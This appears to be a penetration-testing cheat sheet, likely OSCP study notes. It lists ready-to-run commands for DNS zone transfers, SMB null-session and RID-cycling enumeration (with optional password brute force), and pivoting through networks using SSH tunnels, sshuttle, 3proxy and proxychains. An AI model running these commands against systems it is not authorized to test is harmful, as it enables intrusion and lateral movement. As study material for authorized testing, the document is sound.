Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.

When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against.
Below is a zone transfer against an open DNS server. You can use either of the commands below:
dig <target domain> @<dns server> axfr
host -l <target domain> <dns server>
dig @[DNS SERVER HERE] axfr [DOMAIN NAME HERE]
The ‘@’ symbol is used to specify the target DNS server
host -l $ip ns1.$ip
dnsrecon -d $ip -t axfr
Finds nameservers for a given domain
host -t ns $ip| cut -d " " -f 4 #

Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.
enum4linux
Wrapper around smb programs like rpcclient to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.

Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.
https://tools.kali.org/maintaining-access/ridenum
A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.

- sshuttle -r root@$ip 10.10.10.0/24
Simplest type of traffic redirection, consists on accepting traffic from one address and port port and redirecting it to another address and port.
It can be useful to bypass address and port based filters. Rinetd is a linux tool to do it.
Creates an encrypted tunnel through two machines and have traffic redirected to a final host and port, similar to port forwarding This is useful when you are trying to connect from your machine to a destination using a gateway. The syntax is:
ssh gateway_host -L local_port:remote_host:remote_port
You can later create a SSH session to the local port and have and SSH tunneled to destination:
ssh hop_machine -L 31337:banned_machine:22ssh -p 31337 localhost
It creates a tunnel from the target machine to your local machine, which allows connecting to an arbitrary port on the target. Useful if the target is in a non-routable network from your local machine. This is useful when you are trying to connect to a host, behind a firewall that blocks incoming connections. This technique works as the previous one, but the connection is started from the gateway. The syntax is:
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Allows to create a tunnel from the target to your machine, and have the traffic routed to any host through target. You can configure a local port to forward traffic to multiple destinations passing through a single host. It is similar to local port forwarding but allows multiple destinations. It uses the SOCKS protocol. The syntax is:
ssh -D local_port remote_add
The connection of the previous command is established at port 22 of remote addr.
1. drop 3proxy.exe
2. Set up a config file:
allow *_internal IP_SAME_NETWORKexternal IP_OTHER_NETWORKsocks -p1081
3. Add to /etc/proxychains.conf:
socks4 IP_SAME_NETWORK 1081
4. Scan:
proxychains nmap -sT -Pn IP_OTHER_NETWORK-250 --top-ports=5
Pivoting through two different networks:
First, create a dynamic port forwarding through the first network:
ssh -f -N -D 9050 root@10.1.2.1
Edit /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 9050
Use the proxy to create a second dynamic port forward to the second network:
proxychains ssh -f -N -D 10050 root@10.1.2.1 -p 22
Edit again /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 10050
You can now use proxychains to pivot to the target network:
proxychains nmap -sTV -n -PN 10.1.2.1 -254
